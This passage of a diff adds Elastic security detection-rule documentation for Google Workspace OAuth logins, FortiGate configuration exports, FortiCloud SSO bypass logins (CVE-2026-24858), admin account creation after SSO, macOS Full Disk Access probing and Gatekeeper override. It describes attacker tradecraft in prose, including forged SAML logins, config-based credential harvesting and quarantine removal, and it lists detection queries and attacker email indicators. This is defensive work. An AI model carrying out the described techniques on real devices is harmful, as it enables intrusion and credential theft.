System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-seen-google-workspace-oauth-login-from-third-party-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-seen-google-workspace-oauth-login-from-third-party-application.asciidoc new file mode 100644 index 0000000000..8867f58456 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-first-time-seen-google-workspace-oauth-login-from-third-party-application.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-20-first-time-seen-google-workspace-oauth-login-from-third-party-application]] +=== First Time Seen Google Workspace OAuth Login from Third-Party Application + +Detects the first time a third-party application logs in and authenticated with OAuth. OAuth is used to grant permissions to specific resources and services in Google Workspace. Compromised credentials or service accounts could allow an adversary to authenticate to Google Workspace as a valid user and inherit their privileges. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two +* https://developers.google.com/apps-script/guides/bound +* https://developers.google.com/identity/protocols/oauth2 + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Tactic: Defense Evasion +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating First Time Seen Google Workspace OAuth Login from Third-Party Application* + + +OAuth is a protocol that allows third-party applications to access user data without exposing credentials, enhancing security in Google Workspace. However, adversaries can exploit OAuth by using compromised credentials to gain unauthorized access, mimicking legitimate users. The detection rule identifies unusual OAuth logins by monitoring authorization events linked to new third-party applications, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the event details to identify the specific third-party application involved by examining the google_workspace.token.client.id field. +- Check the google_workspace.token.scope.data field to understand the scope of permissions granted to the third-party application and assess if they align with expected usage. +- Investigate the user account associated with the OAuth authorization event to determine if there are any signs of compromise or unusual activity. +- Correlate the timestamp of the OAuth login event with other security logs to identify any concurrent suspicious activities or anomalies. +- Verify if the third-party application is known and authorized within the organization by consulting with relevant stakeholders or reviewing application whitelists. +- Assess the risk and impact of the OAuth login by considering the privileges of the user account and the sensitivity of the accessed resources. + + +*False positive analysis* + + +- New legitimate third-party applications: Users may frequently integrate new third-party applications for productivity or collaboration. To manage this, maintain a whitelist of known and trusted applications and exclude them from triggering alerts. +- Regular updates to existing applications: Some applications may update their OAuth client IDs during version upgrades. Monitor application update logs and adjust the detection rule to exclude these known updates. +- Internal development and testing: Organizations developing their own applications may trigger this rule during testing phases. Coordinate with development teams to identify and exclude these internal applications from alerts. +- Frequent use of service accounts: Service accounts used for automation or integration purposes might appear as new logins. Document and exclude these service accounts from the detection rule to prevent false positives. + + +*Response and remediation* + + +- Immediately revoke the OAuth token associated with the suspicious third-party application to prevent further unauthorized access. +- Conduct a thorough review of the affected user's account activity to identify any unauthorized actions or data access that may have occurred. +- Reset the credentials of the affected user and any other users who may have been compromised, ensuring that strong, unique passwords are used. +- Notify the affected user and relevant stakeholders about the incident, providing guidance on recognizing phishing attempts and securing their accounts. +- Implement additional monitoring for the affected user and similar OAuth authorization events to detect any further suspicious activity. +- Escalate the incident to the security operations team for a deeper investigation into potential lateral movement or data exfiltration. +- Review and update OAuth application permissions and policies to ensure that only trusted applications have access to sensitive data and services. + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "google_workspace.token" and event.action: "authorize" and +google_workspace.token.scope.data: *Login and google_workspace.token.client.id: *apps.googleusercontent.com + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-fortigate-configuration-file-downloaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-fortigate-configuration-file-downloaded.asciidoc new file mode 100644 index 0000000000..8fab76077b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-fortigate-configuration-file-downloaded.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-fortigate-configuration-file-downloaded]] +=== FortiGate Configuration File Downloaded + +This rule detects the download of a FortiGate device configuration file. Configuration exports contain sensitive data including administrator password hashes, LDAP bind credentials, VPN pre-shared keys, routing tables, and firewall policies. Threat actors exploiting CVE-2026-24858 have been observed exporting the full device configuration immediately after gaining access to harvest credentials and map the internal network. + +*Rule type*: eql + +*Rule indices*: + +* logs-fortinet_fortigate.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Credential Access +* Resources: Investigation Guide +* Domain: Network +* Data Source: Fortinet +* Data Source: Fortinet FortiGate + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate Configuration File Downloaded* + + +This alert indicates that a FortiGate device configuration file was downloaded. Configuration files contain highly sensitive information including administrator credentials, LDAP/RADIUS secrets, VPN pre-shared keys, certificate private keys, and the complete network topology. + +In the FG-IR-26-060 campaign, threat actors exported the full device configuration shortly after creating rogue administrator accounts, using the harvested credentials for lateral movement and to maintain access through alternative channels. + + +*Possible investigation steps* + + +- Review `source.user.name` to determine which account initiated the download and `fortinet.firewall.ui` for the source interface and IP address (e.g., GUI, CLI, or API). Verify whether this administrator is authorized to export device configurations. +- Check whether a scheduled backup process or configuration management tool performed this action. Look for preceding SSO login events or administrator account creation events on the same device and determine whether the downloading account was recently created. +- Check `observer.name` to identify which device had its configuration exported and search for configuration download events across other FortiGate devices in the fleet. +- Check for firewall policy changes, VPN configuration modifications, or additional admin account creation after the download. Determine whether any credentials from the configuration have been used for lateral movement. + + +*False positive analysis* + + +- Scheduled configuration backups performed by FortiManager, Ansible, or other automation tools. +- Administrator-initiated backups during planned maintenance or before firmware upgrades. +- Configuration audits or compliance checks that require config export. + + +*Response and remediation* + + +- If unauthorized, treat all credentials in the configuration as compromised. Rotate all passwords, pre-shared keys, LDAP bind credentials, and RADIUS secrets contained in the configuration. +- Revoke and reissue any certificates whose private keys were included in the export. +- Audit the administrator account that performed the download for compromise and check for other indicators of compromise on the device (rogue admins, policy changes). +- If the activity is expected, document the backup activity and verify it was performed through an authorized process. Ensure configuration backups are stored securely with appropriate access controls. + +==== Rule query + + +[source, js] +---------------------------------- +any where event.dataset == "fortinet_fortigate.log" and + event.code == "0100032095" and + fortinet.firewall.action == "download" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Configuration Repository +** ID: T1602 +** Reference URL: https://attack.mitre.org/techniques/T1602/ +* Sub-technique: +** Name: Network Device Configuration Dump +** ID: T1602.002 +** Reference URL: https://attack.mitre.org/techniques/T1602/002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-fortigate-forticloud-sso-login-from-unusual-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-fortigate-forticloud-sso-login-from-unusual-source.asciidoc new file mode 100644 index 0000000000..310f8e8506 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-fortigate-forticloud-sso-login-from-unusual-source.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-fortigate-forticloud-sso-login-from-unusual-source]] +=== FortiGate FortiCloud SSO Login from Unusual Source + +This rule detects the first successful FortiCloud SSO login from a previously unseen source IP address to a FortiGate device within the last 5 days. FortiCloud SSO logins from new source IPs may indicate exploitation of SAML-based authentication bypass vulnerabilities such as CVE-2026-24858, where crafted SAML assertions allow unauthorized access to FortiGate devices registered to other accounts. Environments that regularly use FortiCloud SSO will only alert on new source IPs not seen in the lookback window. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate FortiCloud SSO Login from Unusual Source* + + +This alert indicates that a FortiCloud SSO login was observed from a source IP address not previously seen authenticating via SSO in the last 5 days. This is a high-value signal because it filters out routine SSO access from known management IPs and only fires on novel source addresses. + +CVE-2026-24858 (FG-IR-26-060) allows attackers with a FortiCloud account and a registered device to craft SAML assertions that authenticate them as administrators on other FortiGate devices when FortiCloud SSO is enabled. This vulnerability has been actively exploited in the wild. + + +*Possible investigation steps* + + +- Check `source.ip` against known corporate management networks, VPN egress points, and jump hosts. Investigate the IP's ASN and geolocation, as attacker IPs have been observed from The Constant Company LLC, BL Networks, Kaopu Cloud HK Limited, and Cloudflare-protected ranges. +- Determine whether this IP has been seen in any other authentication context across the environment. +- Check `Esql.user_values` for the SSO account name (typically an email address) and verify the account belongs to the organization. Compare against known attacker email IOCs: cloud-noc@mail.io, cloud-init@mail.io, heltaylor.12@tutamail.com, support@openmail.pro. +- Check `Esql.observer_name_values` to identify which FortiGate device was accessed and confirm whether FortiCloud SSO is intentionally enabled on the device. +- Look for local administrator account creation, configuration exports, firewall policy changes, or VPN user/group creation immediately following the SSO login. The observed attack pattern involves rogue admin creation within seconds of login. + + +*False positive analysis* + + +- Administrators connecting from a new office location, hotel, or home network for the first time may trigger this alert. +- FortiCloud SSO access after IP address changes such as ISP rotation or VPN egress changes can appear as a new source IP. +- First login after FortiCloud SSO is initially enabled on a device will fire since no historical SSO logins exist. + + +*Response and remediation* + + +- If the activity is unauthorized, disable FortiCloud SSO immediately using `config system global` > `set admin-forticloud-sso-login disable`. +- Audit all administrator accounts for unauthorized additions and review and restore configuration from a known-clean backup. +- Rotate all credentials including any LDAP/AD accounts connected to the device. +- Upgrade FortiOS to a patched version. +- If the activity is expected, document the new source IP and consider adding an exception if it represents a new management location. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-fortinet_fortigate.* metadata _id, _version, _index + +| WHERE event.dataset == "fortinet_fortigate.log" and + event.category == "authentication" and event.action == "login" and + event.outcome == "success" and + (fortinet.firewall.method == "sso" or fortinet.firewall.ui like "sso*") and + source.ip is not null +| STATS Esql.logon_count = COUNT(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.user_values = VALUES(source.user.name), + Esql.observer_name_values = VALUES(observer.name), + Esql.message_values = VALUES(message) BY source.ip + +// first time seen is within 6m of the rule execution time and for the last 5d of events history +| EVAL Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) +| WHERE Esql.recent <= 6 AND Esql.logon_count == 1 + +// move dynamic fields to ECS equivalent for rule exceptions +| EVAL source.user.name = MV_FIRST(Esql.user_values) + +| KEEP source.ip, source.user.name, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forge Web Credentials +** ID: T1606 +** Reference URL: https://attack.mitre.org/techniques/T1606/ +* Sub-technique: +** Name: SAML Tokens +** ID: T1606.002 +** Reference URL: https://attack.mitre.org/techniques/T1606/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-fortigate-sso-login-followed-by-administrator-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-fortigate-sso-login-followed-by-administrator-account-creation.asciidoc new file mode 100644 index 0000000000..e54a8c8010 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-fortigate-sso-login-followed-by-administrator-account-creation.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-20-fortigate-sso-login-followed-by-administrator-account-creation]] +=== FortiGate SSO Login Followed by Administrator Account Creation + +This rule detects a FortiCloud SSO login followed by administrator account creation on the same FortiGate device within 15 minutes. This sequence is a high-confidence indicator of the FG-IR-26-060 attack pattern, where threat actors authenticate via SAML-based SSO bypass and immediately create local administrator accounts for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-fortinet_fortigate.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate SSO Login Followed by Administrator Account Creation* + + +This alert indicates that a FortiCloud SSO login was followed by an administrator account creation event on the same FortiGate device within 15 minutes. This two-event sequence is the core attack pattern observed in the FG-IR-26-060 campaign. + +The attack flow is: authenticate via FortiCloud SSO using a crafted SAML assertion, then immediately create local administrator accounts to maintain access even after the SSO vulnerability is patched. + + +*Possible investigation steps* + + +- Review the SSO login event for the FortiCloud account used and the source IP. Determine whether the SSO account belongs to the organization. +- Check the admin creation event for the names of accounts created and the access profiles assigned (especially super_admin). +- Assess the timing between events. In the observed campaign, admin creation occurs within seconds of SSO login. A tight time correlation is a strong indicator of compromise. +- Review `observer.name` to identify the targeted device and verify whether FortiCloud SSO is intentionally enabled. Run `get system admin` to list all current administrator accounts. +- Check whether the same SSO account or source IP targeted other devices. Look for configuration exports, firewall policy changes, or VPN modifications following the admin creation. + + +*False positive analysis* + + +- An authorized administrator logging in via FortiCloud SSO and creating a new admin account as part of normal operations. +- Initial device onboarding where SSO login and account setup occur in the same session. + + +*Response and remediation* + + +- If unauthorized, delete all administrator accounts created during the session and disable FortiCloud SSO immediately. +- Restore configuration from a known-clean backup and rotate all credentials including LDAP/AD accounts connected to the device. +- Upgrade FortiOS to a patched version and engage incident response for the affected device and any downstream systems. +- If the activity is expected, document the administrative session and verify it was authorized. Consider creating accounts through a separate session to avoid triggering this correlation. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by observer.name with maxspan=15m + [authentication where event.dataset == "fortinet_fortigate.log" and + event.action == "login" and event.outcome == "success" and + (fortinet.firewall.method == "sso" or fortinet.firewall.ui like~ "sso*")] + [any where event.dataset == "fortinet_fortigate.log" and + event.code == "0100044547" and + fortinet.firewall.cfgpath == "system.admin" and + fortinet.firewall.action == "Add"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-full-disk-access-permission-check.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-full-disk-access-permission-check.asciidoc new file mode 100644 index 0000000000..eadda42731 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-full-disk-access-permission-check.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-full-disk-access-permission-check]] +=== Full Disk Access Permission Check + +Detects suspicious access to the /Library/Preferences/com.apple.TimeMachine.plist file, indicating a potential attempt to verify or exploit Full Disk Access (FDA) permissions. This file is often checked by malware to confirm FDA privileges, which allow unrestricted access to sensitive user data. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Full Disk Access Permission Check* + + +This rule detects suspicious reads of the Time Machine preferences plist that adversaries use as a quick litmus test for Full Disk Access, a permission that unlocks broad visibility into user and system data. Attackers commonly launch a scriptable or unsigned helper (for example via Python or AppleScript) to open this file, confirm FDA is present, then proceed to enumerate and collect protected artifacts like browser stores, messages, or backups. + + +*Possible investigation steps* + + +- Validate the opening process lineage (parent/child chain, launch method, user session) to determine whether the access originated from an interactive admin action or an unexpected background helper. +- Review the process code-signing identity (signer, notarization, team ID) and binary provenance (download attributes, install source, first-seen time) to distinguish legitimate tooling from potentially dropped or trojanized executables. +- Pivot to other file and directory access by the same process around the alert time to identify follow-on discovery/collection of protected user data (e.g., browser profiles, keychain-related paths, Messages, Mail, backups). +- Check recent and concurrent macOS privacy permission changes and TCC/FDA-related events for the user and process to see if FDA was newly granted, prompted, or bypassed preceding the access. +- Correlate with network activity from the same process or host after the check (new outbound connections, uploads, DNS to uncommon domains) to assess whether the FDA verification preceded staging or exfiltration. + + +*False positive analysis* + + +- An administrator or power user running an interactive shell (Terminal, bash/sh, python) executes a local audit or troubleshooting script that reads /Library/Preferences/com.apple.TimeMachine.plist to confirm Time Machine configuration and permissions. +- A developer or IT engineer uses a scripting runtime (osascript, node, ruby, perl, python) during endpoint diagnostics to check whether the current session/app context has Full Disk Access by attempting to open the Time Machine preference plist. + + +*Response and remediation* + + +- Isolate the Mac from the network or apply host firewall blocks if the plist access comes from an unexpected/unsigned process or occurs outside an active user session to prevent follow-on collection and exfiltration. +- Terminate the offending process and remove its persistence (LaunchAgents/LaunchDaemons, cron, login items) and any newly dropped executables or scripts found in user-writable paths that launched the plist check. +- Revoke Full Disk Access for the suspicious app in Privacy & Security settings, reset TCC permissions if tampering is suspected, and rotate credentials/tokens exposed on the host (browser sessions, SSH keys, API keys) if protected data access is likely. +- Collect and preserve evidence (the binary and its hash, quarantine/xattr info, parent process, relevant unified logs, and a copy of the accessed plist) before cleanup, then run a full endpoint malware scan and validate no additional sensitive files were accessed immediately after the check. +- Restore system integrity by updating macOS and security tools, reinstalling or re-imaging if core components were modified, and confirm normal Time Machine configuration after remediation to ensure operational recovery. +- Escalate to IR/SECOPS immediately if the process is unsigned/notarization-missing, shows persistence, or makes outbound connections after the plist read, and harden by enforcing MDM controls that restrict FDA grants and block execution of untrusted scripting runtimes where feasible. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "open" and + file.path == "/Library/Preferences/com.apple.TimeMachine.plist" and + (process.name in ("osascript", "perl", "node", "ruby", "bash", "sh", "Terminal") or + process.name like "python*" or + process.code_signature.trusted == false or + process.code_signature.exists == false) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: TCC Manipulation +** ID: T1548.006 +** Reference URL: https://attack.mitre.org/techniques/T1548/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: TCC Manipulation +** ID: T1548.006 +** Reference URL: https://attack.mitre.org/techniques/T1548/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gatekeeper-override-and-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gatekeeper-override-and-execution.asciidoc new file mode 100644 index 0000000000..06eaaa6ee4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gatekeeper-override-and-execution.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-20-gatekeeper-override-and-execution]] +=== Gatekeeper Override and Execution + +Detects when macOS Gatekeeper is overridden followed by execution of the same binary from a suspicious location. This behavior indicates an attempt to bypass Apple's security controls and execute potentially malicious software downloaded from the internet. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Gatekeeper Override and Execution* + + +macOS Gatekeeper uses the quarantine extended attribute (com.apple.quarantine) to track files downloaded from the internet and enforce signature verification before execution. Threat actors commonly use xattr to remove this quarantine flag before executing malicious binaries, effectively bypassing Gatekeeper protections. This detection rule identifies the suspicious pattern of quarantine removal followed by immediate execution of files from typical download or staging locations. + + +*Possible investigation steps* + + +- Review the file.path field from the first event to identify which file had its quarantine attribute removed and assess whether this file is expected on the system. +- Examine the file.Ext.header_bytes to confirm the file type (Mach-O binary indicated by cffaedfe or cafebabe magic bytes) and determine if it is a legitimate application. +- Analyze the process.executable from the execution event to verify it matches the file that had quarantine removed and investigate its purpose. +- Check the process.parent.executable and process.command_line to understand how the xattr removal and execution were triggered. +- Investigate the download source by reviewing browser history, email attachments, or other delivery mechanisms that may have placed the file in the staging location. +- Calculate the hash of the executed binary and search threat intelligence databases for known malicious indicators. +- Review the user.name associated with the activity to determine if the behavior is consistent with their normal operations. + + +*False positive analysis* + + +- Users may manually remove quarantine from legitimate applications downloaded from trusted sources that macOS incorrectly flags. Verify the application source and purpose before dismissing. +- Developers may bypass Gatekeeper during local testing of unsigned builds. Confirm with development teams if such activities are expected. +- Enterprise software deployment may involve removing quarantine from applications before installation. Verify if IT operations were performing expected deployments. +- Some legitimate installer packages may remove quarantine as part of their installation process. Review the installer's origin and signing status. + + +*Response and remediation* + + +- Immediately quarantine or remove the suspicious executable that was launched after quarantine removal. +- Block the file hash at the endpoint level to prevent re-execution across the environment. +- Conduct a comprehensive malware scan on the affected system to identify additional malicious components or persistence mechanisms. +- Investigate the delivery mechanism to understand how the malicious file reached the system and prevent similar infections. +- Review other systems for the same file hash or similar patterns of quarantine bypass. +- Educate users about the risks of bypassing Gatekeeper and removing quarantine attributes from downloaded files. +- Consider implementing additional controls such as application allowlisting to prevent execution of unauthorized binaries. +- Escalate to the incident response team if the executed binary is confirmed malicious. + + +==== Rule query + + +[source, js] +---------------------------------- +configuration where host.os.type == "macos" and event.action == "gatekeeper_override" and + file.path like ("/Volumes/*", "/Users/*/Applications/*", "/Applications/*", + "/tmp/*", "/private/tmp/*", "/var/tmp/*", "/private/var/tmp/*", "/Users/Shared/*", + "/Users/*/Downloads/*", "/Users/*/Desktop/*", "/Users/*/Documents/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Gatekeeper Bypass +** ID: T1553.001 +** Reference URL: https://attack.mitre.org/techniques/T1553/001/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Execution 